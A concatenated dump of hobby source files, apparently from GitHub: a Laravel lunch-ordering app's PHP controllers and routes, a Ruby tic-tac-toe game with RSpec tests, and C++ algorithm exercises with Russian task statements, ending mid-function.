* @param \App\KitchenStaff $kitchenStaff
* @return \Illuminate\Http\Response
*/
public function update(Request $request,$kitchenStaff)
{
$kitchenStaff = User::find($kitchenStaff)->update([$request]);
if ($kitchenStaff) {
return redirect('kitchen_staff')->with('message', 'Kitchen Staff Details has been upadted');
}
}
/**
* Remove the specified resource from storage.
*
* @param \App\KitchenStaff $kitchenStaff
* @return \Illuminate\Http\Response
*/
public function destroy($kitchenStaff)
{
$kitchenStaff = User::find($kitchenStaff)->delete();
if ($kitchenStaff) {
Session::flash('message','staff details deleted successfully');
return 'true';
}
}
public function manageOrder()
{
$orders = Order::all();
return view('backend.pages.kitchen-staff.manage-order',compact('orders'));
}
public function completeOrder(Request $request)
{
$order = Order::find($request->id);
if (!$order->is_completed) {
$order->is_completed = true;
$order->save();
return 'completed';
}
}
public function menuReport()
{
$reports = Food::where('is_today_item', true)->orderBy('created_at', 'DESC')->paginate(10);
return view('backend.pages.report.menu-report', compact('reports'));
}
}
<file_sep><?php
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', 'LoginController@loginpage');
Route::get('/login', 'LoginController@loginpage')->name('login');
Route::get('/dashboard','LoginController@dashboardpage')->name('dashboard')->middleware('auth');
Route::post('login-check', 'LoginController@loginCheck')->name('login.check');
Route::get('/logout','LoginController@logout')->name('logout');
Route::post('/password-reset', 'LoginController@passwordReset')->name('pssword.reset');
Route::get('register','EmployeeRegisterController@create')->name('register.page');
Route::post('employee-store','EmployeeRegisterController@store')->name('employee.register');
Route::group([
'middleware' => 'auth',
],
function ()
{
Route::resource('employee', 'EmployeeController');
Route::get('employee/activation/{id}','EmployeeController@employeeActivation')->name('employee.activation');
Route::resource('kitchen_staff', 'KitchenStaffController');
Route::resource('food', 'FoodController');
Route::post('food-make','FoodController@makeTodayFood')->name('food.make');
Route::get('food-today','FoodController@todayFood')->name('food.today');
Route::post('make-order', 'OrderController@store')->name('make.order');
Route::get('advance-order', 'OrderController@create')->name('advance.order');
Route::post('advance-order', 'OrderController@storeAdvanceOrder')->name('order.store');
Route::get('manage-order', 'KitchenStaffController@manageOrder')->name('manage.order');
Route::post('complete-order', 'KitchenStaffController@completeOrder')->name('order.complete');
Route::get('menu-report', 'KitchenStaffController@menuReport')->name('menu.report');
}
);
Route::post('check-email','LoginController@checkEmail')->name('check.email');
<file_sep><?php
namespace App\Http\Controllers;
use App\Employee;
use App\Food;
use App\Mail\PasswordResetMail;
use App\Models\Company;
use App\Models\Credit;
use App\Models\Gateway;
use App\Models\Group;
use App\Models\SmsReport;
use App\Order;
use App\User;
use Carbon\Carbon;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Mail;
use mysql_xdevapi\Session;
class LoginController extends Controller
{
public function __construct(\AdminTableSeeder $adminTableSeeder)
{
$user = User::count();
if ($user<1) {
$adminTableSeeder->run();
}
}
public function loginpage()
{
return view('login.user.index');
}
public function loginCheck(Request $request)
{
$request->validate(['email' => 'required|email', 'password' => '<PASSWORD>']);
$email = $request->email;
$password = $request->password;
if (Auth::attempt(['email'=>$email,'password'=>$password])){
if ($request->user()->is_verified){
return redirect('dashboard');
}else{
Auth::logout();
return back()->with('message', 'User is not activated');
}
}else{
Auth::logout();
return back()->with('message', 'Your credentials do not match our records');
}
}
public function dashboardpage()
{
if (Auth::user()->is_admin) {
$employee = User::where('is_employee', true)->count();
$kitchen_staff = User::where('is_kitchen_staff', true)->count();
// $verified_employee = count(User::where(['is_employee'=>true,'is_verified'=>true])->get());
$verified_employee = User::where(['is_employee' => true, 'is_verified' => true])->count();
return view('backend.dashboard.index', compact('employee', 'kitchen_staff', 'verified_employee'));
} elseif (Auth::user()->is_employee) {
$foods = Food::where('is_today_item', true)->get();
$orders = Order::where(['is_completed'=>true,'user_id'=>auth()->user()->id])->orderBy('updated_at','DESC')->get();
return view('backend.dashboard.index', compact('foods','orders'));
}
else{
$total_food_items = Food::count();
$total_category=2;
return view('backend.dashboard.index', compact('total_food_items', 'total_category'));
}
}
public function checkEmail(Request $request){
$email = $request->email;
$checkEmail = \App\Models\User::where('email',$email)->first();
if($checkEmail){
$resetToken = str_random(40);
$checkEmail->password_reset_token = $resetToken;
$checkEmail->save();
Mail::to($email)->send(new PasswordResetMail($checkEmail));
return response()->json('1');
}
else{
return response()->json('0');
}
}
public function logout(){
Auth::logout();
return redirect('/');
}
public function passwordReset(Request $request)
{
$currentPassword = $request->currentPassword;
$newPassword = $request->newPassword;
if (Hash::check($currentPassword, $request->user()->password)) {
$request->user()->password = <PASSWORD>($new<PASSWORD>);
$request->user()->update();
return 'password changed';
}else{
return 'not matched';
}
}
}
|
64d3efb049fce44a77dd7afa03a8d87509aa0744
|
[
"PHP"
] | 8
|
PHP
|
Bishnupkl/LunchHourManagementSystem
|
3e2d816f5ec878973a3377a434f5f7aeb76ec197
|
281f9296d1fe71d38f12c8cd8abb33c4cc6d3603
|
refs/heads/master
|
<repo_name>bf4/tictactoe<file_sep>/lib/pieces.rb
class Piece
attr :type
def initialize(piece)
@type = piece
end
end<file_sep>/lib/game.rb
require_relative "./player"
require_relative "./board"
# require "byebug"
#Comment out lines 18 and 94 befor running tests
class Game
attr_accessor :players
attr_reader :player1, :player2, :board
def initialize
@board = Board.new
add_players
end
def add_players
if pick_first_player == 1
activate_players(true, false)
else
activate_players(false,true)
end
# turn
end
def turn
find_player
puts "'s turn"
@board.display
if @player1.active == true
puts "Type a number to pick a spot"
move(@player1, gets.chomp.to_i)
else
move(@player2, @player2.ai_move(@board))
puts "Computers turn"
end
end
def move(player, spot)
if player.active
if spot.is_a? Integer
@board.game_board[spot - 1] = player.piece.type
if over?(player)
end_game
end
else
# turn
end
next_player
end
end
def over?(player)
sort_board
if three_in_a_(board.rows, player) || three_in_a_(board.columns, player)|| three_in_a_(board.diagonals, player) || no_moves
true
end
end
def sort_board
@board.find_rows
@board.find_columns
@board.find_diagonals
end
def end_game
puts "Game OVer"
@board.display
exit
end
private
def three_in_a_(area, player)
area.select! { |row| row == Array.new(3, player.piece.type) }
if area.length > 0
true
else
false
end
end
def next_player
puts "Next Player is being set"
sleep 1
if @player1.active
@player1.active = false
@player2.active = true
puts "player ones turn"
puts @player1.active
else
@player1.active = true
@player2.active = false
puts "player twos turn"
puts @player2.active
end
# turn
end
def find_player
if @player1.active == true
@players = {human: @player1, computer: @player2}
else
@players = {computer: @player2, human: @player1}
end
end
def activate_players(player1_status, player2_status)
@player1 = Player.new(player1_status, true)
@player2 = Player.new(player2_status, false)
end
def pick_first_player
rand(2)
end
def no_moves
unless @board.game_board.select {|spot| spot.is_a? Integer}.length > 0
true
end
end
end
game = Game.new<file_sep>/lib/player.rb
require_relative "./pieces"
require_relative "./board"
require_relative "./computer_module"
require "byebug"
#The computer doesnt know when to stop putting pieces on the board
class Player
attr_accessor :active, :human
attr_reader :piece, :board, :opposing_piece
def initialize(active, human_status)
@active = active
pick_piece
@human = human_status
end
def pick_piece
if @active == true && @piece == nil
@piece = Piece.new("X")
@opposing_piece = "O"
else
@piece = Piece.new("O")
@opposing_piece = "X"
end
end
def ai_move(board)
if end_game(board).is_a? Integer
return end_game(board)
elsif middle(board).is_a? Integer
return middle(board)
elsif block_two_way_lose(board).is_a? Integer
return block_two_way_lose(board)
elsif block_two_in_a_row(board)[0].is_a? Integer
return block_two_in_a_row(board)[0]
elsif block(board).is_a? Integer
return block(board)
elsif create_two(board).is_a? Integer
return create_two(board)
end
end
def block_two_in_a_row(board, piece= @opposing_piece)
blocks = []
blocks << Computer.two_in_a_row(board, piece)
blocks << Computer.two_in_a_column(board, piece)
blocks << Computer.two_in_a_diagonal(board, piece)
blocks.flatten
end
def block(board)
# if compare_moves_corners(board).length > 0
compare_moves_corners(board)
# end
end
def create_two(board)
if find_moves(board, piece.type).length != 0
find_moves(board, piece.type).max_by{|num| num.size}
end
end
def middle(board)
if board.game_board[4].is_a? Integer
board.game_board[4]
end
end
def find_moves(board, piece=@opposing_piece)
moves = []
moves << Computer.row_includes?(board, piece)
moves << Computer.column_includes?(board, piece)
moves << Computer.diagonal_includes?(board, piece)
moves.flatten!
end
def compare_moves_corners(board)
board.find_corners
find_moves(board).select {|spot| board.corners.include? spot}
end
def end_game(board)
block_two_in_a_row(board, @piece.type)[0]
end
def find_possible_two_ways(board, piece= @opposing_piece)
possible_two_ways = []
board.game_board.each do |spot|
if spot.is_a? Integer
board.game_board[spot -1] = piece
if block_two_in_a_row(board, piece).length > 0
possible_two_ways << block_two_in_a_row(board, piece)
end
board.game_board[spot -1] = spot
end
end
possible_two_ways.flatten!
end
def block_two_way_lose(board, piece = @opposing_piece)
(find_possible_two_ways(board, piece) & [create_two(board)])[0]
end
private
def count(possible_two_ways)
possible_two_ways.flatten.map do |spot|
if possible_two_ways.count(spot) > 1
spot
end
end
possible_two_ways.uniq.compact
end
end
<file_sep>/lib/computer_module.rb
require "byebug"
module Computer
def self.two_in_a_row(board, piece)
two_rows = []
board.find_rows.each do |row|
if row.count(piece) == 2
unless row.include?(find_piece(piece))
two_rows << row.select{|spot| spot.is_a? Integer}
end
end
end
two_rows.flatten
end
def self.two_in_a_column(board, piece)
two_columns = []
board.find_columns.each do |column|
if column.count(piece) == 2
unless column.include?(find_piece(piece))
two_columns << column.select{|spot| spot.is_a? Integer}
end
end
end
two_columns.flatten
end
def self.two_in_a_diagonal(board, piece)
two_diagonals = []
board.find_diagonals.each do |diagonal|
if diagonal.count(piece) == 2
unless diagonal.include?(find_piece(piece))
two_diagonals << diagonal.select{|spot| spot.is_a? Integer}
end
end
end
two_diagonals.flatten
end
def self.row_includes?(board, piece)
board.find_rows.each do |row|
if row.include? piece
# unless row.include? Computer.find_piece(piece)
# puts "row includes my piece only"
# p row
return row.select{|spot| spot.is_a? Integer}
# end
end
end
end
def self.column_includes?(board, piece)
board.find_columns.each do |column|
if column.include? piece
# unless column.include? Computer.find_piece(piece)
# puts "column includes my piece only"
# p column
return column.select{|spot| spot.is_a? Integer}
# end
end
end
end
def self.diagonal_includes?(board, piece)
board.find_diagonals.each do |diagonal|
if diagonal.include? piece
# unless diagonal.include? Computer.find_piece(piece)
# # puts "diagonal includes my piece only"
# # p column
return diagonal.select{|spot| spot.is_a? Integer}
# end
end
end
end
def self.two_way_loses(board,piece)
end
def self.find_piece(piece)
if piece == "X"
"O"
else
"X"
end
end
end
<file_sep>/notes.txt
##NOTES###
#player can make a turn
#first person to go is random
#Board is an array with 9 spots
#can be sorted differently to easily check for matches in rows and columns and diagonal
#Rotate players turns
# Need Table with 9 spaces
## needs to have 3 rows or
# Need to have X's and O's
# spaces can only have an X or O
###ALGORITHM####
1. First move should be middle spot
If not go for random corner either 1, 3, 7, or 9
2. Second move match player 2's row column or diagonal then follow rule 1 if possible
#starting on move three
3. See if 3 in a row can be completed if so then do it
4. If other player has two in a row block it!
##ORDER OF STUFF####
# To start game
Board needs to exist -- DONE
Choose first player
###ALGO PT 2
Find Possible blocks
If each have same space that blocks multiples take it
if more than one has that and can get 2 in one row
if corner spot available
TAKE IT!!!
end
end
end
## TO DOS
Instantiate ALgorithim Module
1 check to make three in a row -> DONE
2 check for enemy two in a row. -> DONE
3 if Comp has two in a row do it -> DONE
6 check to create two in a row -> DONE
5 Check to see if any blocks -> DONE
6 check corners -> DONE
7 if both put in that spot -> DONE
8 if no blocks put in middle -> DONE
If more than one two way win
then create 2 in a row while avoiding two way wins
needs to go up 3 moves
<file_sep>/lib/board.rb
class Board
attr_reader :side_length, :corners, :diagonals, :game_board, :rows, :columns
def initialize
@game_board = (1..9).to_a
@corners = []
find_side_length
end
def middle
@game_board[(@game_board.length) / 2]
end
def find_corners
corner_seperation = @side_length - 1
corners[0] = @game_board.first
corners[1] = @game_board[0 + corner_seperation]
corners[2] = @game_board[(@game_board.length - 1) - corner_seperation]
corners[3] = @game_board.last
end
def find_rows
@rows = @game_board.each_slice(@side_length).to_a
end
def find_columns
@columns = find_rows.transpose
end
def find_diagonals
@diagonals = []
@diagonals << diag_down_left
@diagonals << diag_down_right
end
def display
@game_board.each_slice(3).to_a.each {|row|
p row}
end
private
def diag_down_right
down_left = []
diagonal_spot = @side_length - 1
find_rows.each do |row|
down_left << row[diagonal_spot]
diagonal_spot -= 1
end
down_left
end
def diag_down_left
down_right = []
diagonal_spot = 0
find_rows.each do |row|
down_right << row[diagonal_spot]
diagonal_spot += 1
end
down_right
end
def find_side_length
area = @game_board.length
guess = @game_board.length
while guess > 0
if guess * guess == area
@side_length = guess
break
end
guess -= 1
end
end
end
# attr_accessor :game_board, :middle
# def initialize
# @game_board = (1..9).to_a
# @middle = game_board[mid]
# end
# def middle=(piece)
# game_board[mid] = piece
# end
# def middle
# game_board[mid]
# end
# def open_corner
# p @game_board.map{|space|
# if space % 2 != 0 && space.class == Fixnum
# space
# end
# }.compact
# end
# def row_search
# rows_count = 0
# posible_spots = []
# while rows_count < 3
# if pull_row(rows_count).include?("O") #and doesnt include "X"
# find_two_in_a_row(rows_count)
# posible_spots << pull_row(rows_count)
# end
# rows_count += 1
# end
# posible_spots.flatten
# end
# def column_search
# columns_count = 0
# posible_spots = []
# while columns_count < @game_board.length / 3
# if pull_column(columns_count).include?("O")
# find_two_in_a_row(columns_count)
# posible_spots << pull_column(columns_count)
# end
# columns_count += 1
# end
# posible_spots.flatten
# end
# def diagonal_search
# if diagonal.include?("O")
# find_two_in_a_row
# diagonal.flatten.uniq
# end
# end
# def pull_row(row_number)
# @game_board.select.with_index { |number, index| (index) / 3 == row_number}
# end
# def pull_column(col_number)
# answer = []
# while answer.length < 3
# answer << @game_board[col_number]
# col_number += 3
# end
# answer
# end
# #start must be either 0 or 2
# def diagonal
# diag_down_right + diag_down_left
# end
# def two_in_a_row(row_num)
# counter = 0
# array = pull_row(row_num)
# array.each do |spot|
# if spot == "O"
# counter += 1
# end
# end
# if counter == 2
# array << "ALERT"
# end
# array
# end
# def display
# @game_board.each_slice(3).to_a.each {|row|
# p row}
# end
# private
# def pull_diag_down_left
# i = 2
# diags = []
# while i <= 6
# diags << @game_board[i]
# i += 2
# end
# diags
# end
# def pull_diag_down_right
# diagonals = []
# @game_board.each_with_index do |spot, index|
# if index % 4 == 0
# diagonals << spot
# end
# end
# diagonals
# end
# def mid
# (@game_board.length - 1) / 2
# end
<file_sep>/spec/board_spec.rb
require 'rspec'
require 'board'
describe "Board" do
subject(:board) { Board.new }
let(:game_board) {board.game_board}
it "has 9 spaces" do
expect(game_board.length).to eql(9)
expect(game_board).to include(rand(1..9))
end
# it "is created on game start" do
# game = Game.new
# expect(game.board).to be_a Board
# end
it "finds the middle" do
expect(board.middle).to eql(5)
end
it "finds open corners" do
board.find_corners
expect(board.corners).to include([1, 3, 7, 9].sample)
end
it "finds rows" do
board.find_rows
expect(board.rows[0]).to include(rand(1..3))
end
it "finds columns" do
board.find_columns
expect(board.columns[1]).to include([2, 5, 8].sample)
end
it "finds the diagonals" do
board.find_diagonals
expect(board.diagonals[0]).to include([1, 5, 9].sample)
end
end<file_sep>/spec/game_spec.rb
require "rspec"
require 'game'
describe "::Game" do
before(:each) do
@game = Game.new
@player1 = @game.player1
@computer = @game.player2
end
it "creates the players" do
@game.add_players
expect(@game.player1).to be_a Player
expect(@game.player2).to be_a Player
end
it "allows player to move" do
@player1 = Player.new(true, true)
@game.move(@player1, 1)
expect(@game.board.game_board[0]).to eql("X")
end
it "wont let you put on top of another piece" do
@player1 = Player.new(true, true)
@player2 = Player.new(false, false)
@game.move(@player1, 1)
@game.move(@player2, 1)
expect(@game.board.game_board[0]).to eql("X")
end
it "only allows active player to move" do
@player1 = Player.new(false, true)
@game.move(@player1, 1)
expect(@game.board.game_board[0]).to eql(1)
end
it "can have a piece" do
expect(@game.player1.piece).to be_a Piece
expect(@game.player2.piece).to be_a Piece
end
it "wont allow player to go out of turn" do
@game.player1.active = false
@game.move(@game.player1, 8)
expect(@game.board.game_board[8]).to eql(9)
end
it "switches active players" do
@game.player1.active = true
@game.move(@game.player1, 8)
expect(@game.player2.active).to eql(true)
expect(@game.player1.active).to eql(false)
end
# it "runs move" do
# @game.turn(@game.player1)
# end
it "lets me know when over" do
@game.board.game_board[0] = "X"
@game.board.game_board[1] = "X"
@game.board.game_board[2] = "X"
expect(@game.over?(@player1)).to eql(true)
end
end
<file_sep>/spec/player_spec.rb
require 'rspec'
require 'player'
describe "::Player" do
before(:each) do
@board = Board.new
@player = Player.new(true, true)
end
it "can be a computer or human" do
expect(@player.human= true).to eql(true)
end
end
describe "Computer player" do
before(:each) do
@board = Board.new
@player = Player.new(true, false)
end
it "checks for two in a row" do
@board.game_board[0] = "O"
@board.game_board[1] = "O"
expect(Computer.two_in_a_row(@board, "O")).to include(3)
end
it "checks for two in a row" do
@board.game_board[0] = "O"
@board.game_board[3] = "O"
expect(Computer.two_in_a_column(@board, "O")).to include(7)
end
it "checks for two in a diagonal" do
@board.game_board[0] = "O"
@board.game_board[4] = "O"
expect(Computer.two_in_a_diagonal(@board, "O")).to include(9)
end
it "blocks two in a row" do
@board.game_board[0] = "O"
@board.game_board[1] = "O"
expect(@player.block_two_in_a_row(@board)).to include(3)
end
it "finds blocks for single moves" do
@board.game_board[0] = "O"
expect(@player.find_moves(@board)).to include([2,3,4,5,7,9].sample)
end
it "compares corners to possible blocks" do
@board.game_board[2] = "O"
expect(@player.compare_moves_corners(@board)).to include([1,7,9].sample)
end
it "puts in a corner and block spot if possible" do
@board.game_board[6] = "O"
expect(@player.block(@board)).to include(9)
end
it "completes three in a row" do
@board.game_board[6] = "X"
@board.game_board[7] = "X"
expect(@player.end_game(@board)).to eql(9)
end
it "creates two in a row" do
@board.game_board[2] = "X"
expect(@player.create_two(@board)).to eql(1)
end
it "can pick find all possible two way loses" do
@board.game_board[8] = "O"
@board.game_board[3] = "O"
@board.game_board[1] = "X"
expect(@player.find_possible_two_ways(@board, "O")).to include([1,5,6,7].sample)
end
it "picks spot to stop two way loses" do
@board.game_board[8] = "O"
@board.game_board[3] = "O"
@board.game_board[1] = "X"
expect(@player.block_two_way_lose(@board, "O")).to eql(1)
end
# it "makes first move in the middle" do
# @player.middle(@board)
# expect(@board.game_board[4]).to eql("X")
# end
end<file_sep>/lib/app.rb
require_relative "./game"
require_relative "./board"
require_relative "./pieces"
require_relative "./player"
require_relative "./computer_module"
|
c644f5127330d7e7cae226fe851066e3c648b1c7
|
[
"Text",
"Ruby"
] | 10
|
Ruby
|
bf4/tictactoe
|
9fa5c1e99022b95ebb7ae28766f1e9c0cc478e73
|
0b03a89c13eca006bb27c19be65495a558808598
|
refs/heads/master
|
<file_sep>import { Component } from '@angular/core';
import {ITask} from "./tasklist/user.interfase";
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
title = 'angular-tasklist';
taskInput = ''
tasks: ITask[] = []
error = false
addUser(): void {
if(this.taskInput) {
this.tasks.push({taskName: this.taskInput, status: false})
this.taskInput = ''
this.error = false
} else {
this.error = true
}
}
}
|
0dfd7c01e6457df5f84e41f885657d9ea745e1eb
|
[
"TypeScript"
] | 1
|
TypeScript
|
AnitaRosikhina/angular-tasklist
|
43d587904319e402189b90ea693190efd950a986
|
fc36de0a4918ef4bb17b1aa2d45b8539c801cf21
|
refs/heads/master
|
<file_sep>/*
* Дан отсортированный массив различных целых чисел A[0..n1] и массив целых чисел B[0..m1]. Для
каждого элемента массива B[i] найдите минимальный индекс элемента массива A[k], ближайшего по
значению к B[i]. Время работы поиска для каждого элемента B[i]: O(log(k)).
n ≤ 110000, m ≤ 1000.
in out
3
10 20 30
3
9 15 35
0 0 2
3
10 20 30
4
8 9 10 32
0 0 0 2
*/
#include <iostream>
using namespace std;
int getNearValueIndex(int b, int *arrayA, int countA) {
if (b < arrayA[0]) { //b за границами массива arrayA
return 0;
}
else if (b > arrayA[countA - 1]) {
return countA - 1;
}
int first = 0, last = countA - 1; // границы (через i^2)
for (int i = first; i * i < last; i++) {
int curSquare = i * i;
if (arrayA[curSquare] < b) {
first = curSquare;
}
else if (arrayA[curSquare] > b) {
last = curSquare;
break;
}
}
while (last - first > 1) { // бинарный поиск
int mid = (last + first) / 2;
if (arrayA[mid] >= b) {
last = mid;
}
else {
first = mid;
}
}
int minIndex = first, maxIndex = last;
if (minIndex == (maxIndex && minIndex) > 0) {
minIndex--;
}
return (b - arrayA[minIndex] <= arrayA[maxIndex] - b) ? minIndex : maxIndex;
}
void findElements(int *A, int *B, int n, int m, int *output) {
for (int i = 0; i < m; i++)
output[i] = getNearValueIndex(B[i], A, n);
}
void intArrayOutput(int *arr, int n) {
for (int i = 0; i < n; i++)
cout << arr[i] << " ";
}
int main() {
int n = 0, m = 0; // temp = 0, j_temp = 0;
cin >> n;
int *arrA = new int[n];
for (int i = 0; i < n; i++) {
cin >> arrA[i];
}
cin >> m;
int *arrB = new int[m];
for (int i = 0; i < m; i++) {
cin >> arrB[i];
}
int *arrOut = new int[m];
findElements(arrA, arrB, n, m, arrOut); // Функция поиска
intArrayOutput(arrOut, m); // Вывод
delete[] arrA;
delete[] arrB;
delete[] arrOut;
return 0;
}<file_sep>/*
#2_1. Даны два массива целых чисел одинаковой длины A[0..n1] и B[0..n1]. Необходимо найти первую пару
индексов i0 и j0, i0 ≤ j0, такую что A[i0] + B[j0] = max {A[i] + B[j], где 0 <= i < n, 0 <= j < n, i <= j}. Время работы
O(n).
n ≤ 100000.
*/
#include <iostream>
using namespace std;
void search(int *masB, int *masA, int n, int &a, int &b){
int i_a = 0, max_i = 0, i_b = 0;
for(int i = 0; i < n; i++){
if(masB[i] > masB[i_b]){ //проверка элементов второго массива, запоминает если больше.
i_b = i;
}
if(masA[i] > masA[i_a]){ //проверка первого, запоминает если больше.
i_a = i;
}
if((masA[i_a]+ masB[i]) > (masA[max_i]+masB[i_b])){ // проверка прошлого максимального
i_b = i;
max_i = i_a;
}
}
a = max_i;
b = i_b;
}
int main() {
int n = 0, maxA = 0,maxB = 0;
cin >> n;
int *masA = new int[n];
int *masB = new int[n];
for(int i=0; i<n; i++){
cin >> masA[i];
}
for(int i=0;i<n;i++){
cin >> masB[i];
}
search(masB, masA, n, maxA, maxB);
cout<< maxA << ' ' << maxB << endl;
delete[] masA;
delete[] masB;
return 0; }<file_sep>/*
В первой строке количество команд.
Каждая команда задаётся как 2 целых числа: a b.
a = 1 - push front
a = 2 - pop front
a = 3 - push back
a = 4 - pop back
Для очереди используются команды 2 и 3.
Если дана команда pop*, то число b - ожидаемое значение. Если команда pop вызвана для пустой структуры данных, то ожидается “-1”.
Формат выходных данных.
Требуется напечатать YES - если все ожидаемые значения совпали. Иначе, если хотя бы одно ожидание не оправдалось, то напечатать NO.
4_1. Реализовать очередь с динамическим зацикленным буфером.
in
3
3 44
3 50
2 44
out
YES
in
2
2 -1
3 10
out
YES
in
2
3 44
2 66
out
NO
*/
#include <iostream>
#include <string.h>
#define GROW_RATE 2
using namespace std;
class Queue {
public:
Queue(int size);
~Queue() {
delete[] buffer;
}
//Функции
void Enqueue(int a);
int Dequeue();
//Проверка на пустоту
bool IsEmpty() {
return head == tail;
}
private:
int* buffer;
int bufferSize; //size
int head;
int tail;
//Реаллокация
void grow();
};
//Конструктор
Queue::Queue(int size) : bufferSize(size), head(0), tail(0) {
buffer = new int[bufferSize];
}
//Вход в очередь
void Queue::Enqueue(int a) {
if ((tail + 1) % bufferSize == head)
grow();
buffer[tail] = a;
tail = (tail + 1) % bufferSize;
}
//Выход из очереди
int Queue::Dequeue() {
if (!IsEmpty()) {
int result = buffer[head];
head = (head + 1) % bufferSize;
return result;
}
else {
return -1;
}
}
//Реаллокация
void Queue::grow() {
int newSize = bufferSize * GROW_RATE;
int* new_buffer = new int[newSize];
size_t firstInsert = (size_t)bufferSize - head;
memcpy(new_buffer, buffer + head, firstInsert * sizeof(int));
memcpy(new_buffer + firstInsert, buffer, (bufferSize - firstInsert) * sizeof(int));
tail = bufferSize - 1;
head = 0;
delete[] buffer;
buffer = new_buffer;
bufferSize = newSize;
}
bool checkMe(Queue &q) {
int n = 0;
std::cin >> n;
if(n == 0) return false;
bool answer = true;
for (int i = 0; i < n; i++) {
int command, value;
std::cin >> command >> value;
switch (command) {
default: answer = false;
case 2: {
int get = q.Dequeue();
answer = answer && (value == get);
break;
}
case 3: {
q.Enqueue(value);
break;
}
}
}
return answer;
}
int main() {
Queue newQ(4);
if (checkMe(newQ)) {
cout << "YES";
}
else {
cout << "NO";
}
return 0;
}
<file_sep>/*
5_1. Скобочная последовательность.
Дан фрагмент последовательности скобок, состоящей из символов (){}[].
Требуется определить, возможно ли продолжить фрагмент в обе стороны, получив корректную
последовательность. Формат входных данных. Строка, содержащая символы (){}[] и, возможно, перевод строки.
Длина исходной последовательности ≤ 200000.
Формат выходных данных. Если возможно вывести минимальную корректную последовательность, иначе
напечатать "IMPOSSIBLE".
in
{}[[[[{}[]
out
{}[[[[{}[]]]]]
in
{][[[[{}[]
out
IMPOSSIBLE
in
]()}[](({}
out
{[]()}[](({}))
*/
#include <iostream>
#include <cstring>
#include <assert.h>
using namespace std;
// Класс стека
class MyStack
{
public:
MyStack() : strSize(0), bufferSize(2) {
buffer = new char[2];
}
~MyStack() {
delete[] buffer;
}
void pushBack(char c); // Протолкнуть новый элемент
char popBack(); // Изъять последний элемент
bool isEmpty() { // Проверка на пустоту
return strSize == 0;
}
private:
char *buffer; // Буфер
unsigned int strSize; // Длина строки
unsigned int bufferSize; // Размер буфера
void grow(); // Зарезервировать дополнительную память
};
void MyStack::pushBack(char c) {
// Проверка на свободное место
if (strSize == bufferSize) {
grow();
}
buffer[strSize++] = c;
}
char MyStack::popBack() {
// Проверка на пустоту
assert(!isEmpty());
return buffer[--strSize];
}
void MyStack::grow() {
const unsigned int newBufferSize = bufferSize * 2;
// Новый буфер
char* newBuffer = new char[newBufferSize];
for (unsigned int i = 0; i < strSize; ++i ) {
newBuffer[i] = buffer[i];
}
delete[] buffer;
buffer = newBuffer;
bufferSize = newBufferSize;
}
// Проверка, является ли скобка открывающей
bool isOpening(char c) {
return ( c == '(' || c == '{' || c == '[' );
}
// Получение соответствующей скобки
char getReverse(char c) {
if ( c == '(' )
return ')';
else if ( c == ')' )
return '(';
else if ( c == '{' )
return '}';
else if ( c == '}' )
return '{';
else if ( c == '[' )
return ']';
else if ( c == ']' )
return '[';
return 0;
}
int main() {
char *string = new char[200000]; // Строка
cin >> string;
MyStack stackBefore; // Открывающий стек
MyStack mainStack; // Вспомогательный (закрывающий) стек
size_t strLen = strlen( string );
for ( size_t i = 0; i < strLen; ++i ) {
if (isOpening(string[i]) ) { // Если скобка открывающая
mainStack.pushBack(string[i]); // ..сохраняем скобку
}
else { // ..иначе (закрывающая) ищем соответствие в mainStack
if( mainStack.isEmpty()) {
//if (lastInMainStack == 0) {
// ..добавляем соответствующую скобку в stackBefore
stackBefore.pushBack(getReverse(string[i]));
}
else { // ..иначе проверяем на корректность
char lastInMainStack = mainStack.popBack();
if (string[i] != getReverse(lastInMainStack)) {
// Некорректная пара скобок
cout << "IMPOSSIBLE";
return 0;
}
}
}
}
// Вывод
// Начало
while ( !stackBefore.isEmpty() ) {
cout << stackBefore.popBack();
}
// Введенная строка
for ( size_t i = 0; i < strLen; ++i ) {
cout << string[i];
}
// Конец
while ( !mainStack.isEmpty() ) {
cout << getReverse(mainStack.popBack());
}
return 0;
}<file_sep>cmake_minimum_required(VERSION 3.3)
project(testyy)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c99")
set(SOURCE_FILES newmain.c)
add_executable(testyy ${SOURCE_FILES})<file_sep>/*
* Дано натуральное число N. Представить N в виде A + B, так, что НОД(A, B) максимален, A ≤ B. Вывести
A и B. Если возможно несколько ответов вывести ответ с минимальным A.
n ≤ 10^7
*/
#include <iostream>
#include "assert.h"
using namespace std;
void searchMe(int& a, int& b){
//int n = 0;
for(b = a / 2; a % b; b--);
// начнем с середины наибольшего элемента, проверяем остаток от деления на маскимальное число, идем вниз пока не найдем нуль
}
int main()
{
int maxN = 0, n = 0;
cin >> maxN;
assert(maxN > 0); //Проверка N
searchMe(maxN, n);
cout<< n << ' ' << maxN - n << endl;
return 0;
}<file_sep>cmake_minimum_required(VERSION 3.3)
project(iz1)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c99")
set(SOURCE_FILES newmain.c)
add_executable(iz1 ${SOURCE_FILES})<file_sep>/*7_1.Атлеты.
В город N приехал цирк с командой атлетов. Они хотят удивить горожан города N — выстроить из своих тел
башню максимальной высоты. Башня — это цепочка атлетов, первый стоит на земле, второй стоин у него
на плечах, третий стоит на плечах у второго и т.д.
Каждый атлет характеризуется силой si
(kg) и массой mi
(kg). Сила — это максимальная масса, которую
атлет способен держать у себя на плечах.
К сожалению ни один из атлетов не умеет программировать, так как всю жизнь они занимались физической
подготовкой, и у них не было времени на изучение языков программирования. Помогите им, напишите
программу, которая определит максимальную высоту башни, которую они могут составить.
Известно, что если атлет тяжелее, то он и сильнее:
если mi>mj
, то si > sj
.
Атлеты равной массы могут иметь различную силу.
Формат входных данных:
Вход содержит только пары целых чисел — массу и силу атлетов. Число атлетов 1 ≤ n ≤ 100000. Масса и
сила являются положительными целыми числами меньше, чем 2000000.
Формат выходных данных:
Выход должен содержать натуральное число — максимальную высоту башни.
in out
3 4
2 2
7 6
4 5
*/
#include <iostream>
using namespace std;
void quickSort(long arr[], int left, int right) {
int i = left, j = right;
long tmp = 0;
long pivot = arr[(left + right) / 2];
while (i <= j) {
